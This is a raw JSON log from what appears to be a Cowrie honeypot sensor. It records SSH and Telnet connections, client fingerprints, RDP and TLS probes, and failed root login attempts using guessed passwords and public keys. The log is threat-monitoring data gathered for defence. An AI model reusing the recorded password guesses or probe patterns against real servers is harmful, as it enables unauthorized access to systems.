{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:62:1d:37:bc:26:5c:82:cf:ae:0b:d2:ec:6c:19:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx/jfhTNAcvw+qAwyeljsmBkUdnqLUfgjyBz7bKtPZcwhJv4yX4IK8s+oySBnvNOGvra3mtyt9Dz01S4G4Qmx7j5a0Tj8SXx8JjcETr/qKF5Mq6Y73jmXM0/m45p1xPUApklw/jH9V91QEBceQBbmcrG/YiItF6filbNFn30hbas4PI83AheYQ7Bh7PoHj+A1gICgoCMsJBeCK/7iVyJ0ulSt8SEGUEqqod8tZIshP7qWbCj1GLjtahuIBbLmR7mFxcQHUClCncpsLeTIDUsK7BogEAM+Q7In8xfSsImzSOV3QM5OKqyyE8FqomTx8Cch4+M/tWqufejdCHKA2Pb8sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.998935Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:35:30:31:70:4a:92:17:c1:25:b0:4a:64:98:4e:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHNWr8JNYLUZVGCZspaCqAuF2kHL5gEkRmXRjInGQaJDykCQsfTY7fWpG7BIm+9IQRs+JbB7h6uSU0JMQ0qMkBEFiwTAOEbeIPccaBL/0x7Qt0ULq46so+seLAhS3az98LdP3DQVeBY1s1X7w7yhYTzNn1QgfG1npuby/sPwqaVYrGfQQXmZYIFUReFLwe5zMGno9x+RMFh1VHXVIP9JSVtCzlmWLc5ZPfjnn9gO4cS3W0O20dfAeoPMUnYKE+1VNzpYp78WTDh1JkC0Nc/MPJ6WOxAMm1Lk4JPQ6eNFhW7nkIMcqvVdmKIGOnprgIHmD1+5q5VgUyYNY3JZHGvmiSHpozWxQil6rUTNzssTYbD77HnwGIOEsQRGNoclCsZTR9XD8d9GLdpdQwTNS49+5K3XRJCUs2jf9SWzxi95YjRslQu1LHDPzhLgt5BkHoYP4fNO/YCRfek0cOuIxRLgwpDiLaG9yN+x3RqLHpNkLTi4zIf/inrssQqzR04cGKxeU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:35:30:31:70:4a:92:17:c1:25:b0:4a:64:98:4e:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:18.073459Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:35:30:31:70:4a:92:17:c1:25:b0:4a:64:98:4e:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHNWr8JNYLUZVGCZspaCqAuF2kHL5gEkRmXRjInGQaJDykCQsfTY7fWpG7BIm+9IQRs+JbB7h6uSU0JMQ0qMkBEFiwTAOEbeIPccaBL/0x7Qt0ULq46so+seLAhS3az98LdP3DQVeBY1s1X7w7yhYTzNn1QgfG1npuby/sPwqaVYrGfQQXmZYIFUReFLwe5zMGno9x+RMFh1VHXVIP9JSVtCzlmWLc5ZPfjnn9gO4cS3W0O20dfAeoPMUnYKE+1VNzpYp78WTDh1JkC0Nc/MPJ6WOxAMm1Lk4JPQ6eNFhW7nkIMcqvVdmKIGOnprgIHmD1+5q5VgUyYNY3JZHGvmiSHpozWxQil6rUTNzssTYbD77HnwGIOEsQRGNoclCsZTR9XD8d9GLdpdQwTNS49+5K3XRJCUs2jf9SWzxi95YjRslQu1LHDPzhLgt5BkHoYP4fNO/YCRfek0cOuIxRLgwpDiLaG9yN+x3RqLHpNkLTi4zIf/inrssQqzR04cGKxeU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:18.077276Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:04:af:6f:f2:75:44:ba:e7:f6:e7:cf:a5:13:f1:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClMXDDEQowCrgLlCK47S1ULOIz7mqM7MKrNwh2OrEclmRaQc4uv71G2TUi+t4SAxFhyOzUQK/XtuFUsjPnaqjlQtsgXTQYoMyNkvEf6qrwzXShJU3cGLGTdyH4R9ZiTXggtHB2wNlU0ye+p525+/jt6IigOfc6zdkEk/qpnafnVaEgKrXwkq9I8g7CcjAVpKMmjpjx5sKzrRvb0dZT29fsgYLtiE6dkg2XABU9FboveNesEbAVDL1m8+EPrjlvJYNSVx0DOSLno8vatSIMEm9UzkS914PWWTvrciKdhenouL2wsXUfGFu5BdvPjwuqlc504x6AbVoyTUThUpwnC5UuiIc7hG0kSqtlEEpSwjqPWMPEY7byJbanJ/tyLt9cNFrz46wX49nrRt21cOPBB5aWzV0XOfv16+b1/QTpm5bawfq6kcO+QozZIXt3UjtYTnH8EfvTXjd4lx8Hm3xXcWtKsRXHTkFznmZbZN4iOp8xHmlKjdDLXqOoQ04+qQI1Z2U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:04:af:6f:f2:75:44:ba:e7:f6:e7:cf:a5:13:f1:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:18.151072Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:04:af:6f:f2:75:44:ba:e7:f6:e7:cf:a5:13:f1:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClMXDDEQowCrgLlCK47S1ULOIz7mqM7MKrNwh2OrEclmRaQc4uv71G2TUi+t4SAxFhyOzUQK/XtuFUsjPnaqjlQtsgXTQYoMyNkvEf6qrwzXShJU3cGLGTdyH4R9ZiTXggtHB2wNlU0ye+p525+/jt6IigOfc6zdkEk/qpnafnVaEgKrXwkq9I8g7CcjAVpKMmjpjx5sKzrRvb0dZT29fsgYLtiE6dkg2XABU9FboveNesEbAVDL1m8+EPrjlvJYNSVx0DOSLno8vatSIMEm9UzkS914PWWTvrciKdhenouL2wsXUfGFu5BdvPjwuqlc504x6AbVoyTUThUpwnC5UuiIc7hG0kSqtlEEpSwjqPWMPEY7byJbanJ/tyLt9cNFrz46wX49nrRt21cOPBB5aWzV0XOfv16+b1/QTpm5bawfq6kcO+QozZIXt3UjtYTnH8EfvTXjd4lx8Hm3xXcWtKsRXHTkFznmZbZN4iOp8xHmlKjdDLXqOoQ04+qQI1Z2U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:18.154687Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:18.228966Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55636,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f214f75741f","protocol":"ssh","message":"New connection: 152.42.212.128:55636 (159.203.135.109:22) [session: 9f214f75741f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:24.488987Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:24.493808Z","src_ip":"152.42.212.128","session":"9f214f75741f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:24.497531Z","src_ip":"152.42.212.128","session":"9f214f75741f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.246466875076294,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:26.922966Z","src_ip":"192.119.13.58","session":"c98b020042ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62445,"dst_ip":"10.17.0.5","dst_port":22,"session":"478a479641c4","protocol":"ssh","message":"New connection: 167.172.81.52:62445 (10.17.0.5:22) [session: 478a479641c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:31.457203Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:31.462445Z","src_ip":"167.172.81.52","session":"478a479641c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:31.466096Z","src_ip":"167.172.81.52","session":"478a479641c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":42730,"dst_ip":"159.203.135.109","dst_port":23,"session":"f202e44e5599","protocol":"telnet","message":"New connection: 186.195.16.41:42730 (159.203.135.109:23) [session: f202e44e5599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:43.412174Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":42558,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfec6d67c4d","protocol":"ssh","message":"New connection: 43.130.31.151:42558 (159.203.135.109:22) [session: 5dfec6d67c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:44.497254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:44.501525Z","src_ip":"43.130.31.151","session":"5dfec6d67c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:44.569510Z","src_ip":"43.130.31.151","session":"5dfec6d67c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1960","message":"login attempt [root/1960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:44.877969Z","src_ip":"43.130.31.151","session":"5dfec6d67c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:45.951790Z","src_ip":"43.130.31.151","session":"5dfec6d67c4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60490,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbab0f89df2","protocol":"ssh","message":"New connection: 103.77.175.15:60490 (10.17.0.5:22) [session: 3cbab0f89df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:48.772922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:48.778563Z","src_ip":"103.77.175.15","session":"3cbab0f89df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:49.034414Z","src_ip":"103.77.175.15","session":"3cbab0f89df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnghbdtn","message":"login attempt [root/ghbdtnghbdtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:49.797790Z","src_ip":"103.77.175.15","session":"3cbab0f89df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:51.054725Z","src_ip":"103.77.175.15","session":"3cbab0f89df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41732,"dst_ip":"10.17.0.5","dst_port":23,"session":"821b355295ef","protocol":"telnet","message":"New connection: 192.119.13.58:41732 (10.17.0.5:23) [session: 821b355295ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:53.275972Z"}
{"eventid":"cowrie.session.closed","duration":42.250324010849,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:55.099635Z","src_ip":"192.119.13.58","session":"ab599e0ea2f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.165.167","src_port":15238,"dst_ip":"10.17.0.5","dst_port":22,"session":"e45ab4b7ee9c","protocol":"ssh","message":"New connection: 167.88.165.167:15238 (10.17.0.5:22) [session: e45ab4b7ee9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.820850Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.827366Z","src_ip":"167.88.165.167","session":"e45ab4b7ee9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.165.167","src_port":15254,"dst_ip":"10.17.0.5","dst_port":22,"session":"101679c1cd2a","protocol":"ssh","message":"New connection: 167.88.165.167:15254 (10.17.0.5:22) [session: 101679c1cd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.857441Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xc2\u0001\u0000\u0005\\xbe\u0003\u0003\u001cV\\x95\\xea\\xf1W\u001a\\xe5+2nO\u043a\\xb4=hpq\\xfdu\u0dc8r\\x82\u0010,\\x99\\xb4\\xabK \\x9b]\\xb3\\xc7N\\xd4\u05da\\x80\u0012\\x95\\xd5\\xf37b|","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xc2\u0001\u0000\u0005\\xbe\u0003\u0003\u001cV\\x95\\xea\\xf1W\u001a\\xe5+2nO\u043a\\xb4=hpq\\xfdu\u0dc8r\\x82\u0010,\\x99\\xb4\\xabK \\x9b]\\xb3\\xc7N\\xd4\u05da\\x80\u0012\\x95\\xd5\\xf37b|","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.862682Z","src_ip":"167.88.165.167","session":"101679c1cd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.867369Z","src_ip":"167.88.165.167","session":"101679c1cd2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.165.167","src_port":15266,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe6c295694a0","protocol":"ssh","message":"New connection: 167.88.165.167:15266 (10.17.0.5:22) [session: fe6c295694a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.942435Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.947482Z","src_ip":"167.88.165.167","session":"fe6c295694a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:14.951316Z","src_ip":"167.88.165.167","session":"fe6c295694a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":52360,"dst_ip":"10.17.0.5","dst_port":22,"session":"310f0fc0ceda","protocol":"ssh","message":"New connection: 206.212.244.18:52360 (10.17.0.5:22) [session: 310f0fc0ceda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.332543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.337215Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.348959Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:07:9b:4b:ee:e7:0a:8d:6d:3c:76:ac:57:f6:0b:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEI4jB5Wkcr/HY6ikL6lj7mppBGoFaoW93X9W/u8goUIVE6qnsdKEQ1U4wjzTiuhVi8iIaKOUDOuExae3nWdT9XHpdLG3UxCf7ZQBNdnER3YnrvcLto8udgs7H7qtjgREkgL8lcieShap0ZhEhV9Yp36M9zTvW1irAe7NYUW+hxBab4dIy+brHqMYaEIt4r6LF/KyZAQf9Wb28o/KOjqNv3Htwx13UTpEk/5qH7FUMZq1FupKu+1Mfw7+pGP3YZeZxVdUq78p29awd6/Cn+eqD3dgUrD8rNkOPf2XdtCEz+he2bspl2MTCuL+0M7TsLBM5Wr3UfOFsPqeqptzIEA/d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:07:9b:4b:ee:e7:0a:8d:6d:3c:76:ac:57:f6:0b:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.389899Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:07:9b:4b:ee:e7:0a:8d:6d:3c:76:ac:57:f6:0b:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEI4jB5Wkcr/HY6ikL6lj7mppBGoFaoW93X9W/u8goUIVE6qnsdKEQ1U4wjzTiuhVi8iIaKOUDOuExae3nWdT9XHpdLG3UxCf7ZQBNdnER3YnrvcLto8udgs7H7qtjgREkgL8lcieShap0ZhEhV9Yp36M9zTvW1irAe7NYUW+hxBab4dIy+brHqMYaEIt4r6LF/KyZAQf9Wb28o/KOjqNv3Htwx13UTpEk/5qH7FUMZq1FupKu+1Mfw7+pGP3YZeZxVdUq78p29awd6/Cn+eqD3dgUrD8rNkOPf2XdtCEz+he2bspl2MTCuL+0M7TsLBM5Wr3UfOFsPqeqptzIEA/d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.393726Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:64:a7:7f:be:0c:7a:ea:8e:b2:82:cc:6a:5e:1e:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAoMFhc0CCbTTZzCwX2oKekg/27qhE0B+wGU+nNgk9Yaet5DEe6YgBebjQkibtr47MFoxkd+YHW4sj1N2s1A+WjTZFuhElosb75bpkil1UZpPOXICQ79Px2DMf5pfNZdszOsWvtBeBEc2na/rM9zSqDP/2l4x+2OQJEf6nK4cdmu47HUseUGn8pzRN7Pf1fbPo2/Ed0hUDc9MhoI1ZX+Xk0etZWLqBtfj8h5zqQGCE4J1YKHVDAm3LZZijUv5IYCURSLIXzb7pHLiG/Zxg6M8lIlsNr0a1ibW8naZm0EQdszCSt9NZrKQu0tSBXp7iDPYC+bQpU7+0aguFDeVSBsnB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:64:a7:7f:be:0c:7a:ea:8e:b2:82:cc:6a:5e:1e:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.407242Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
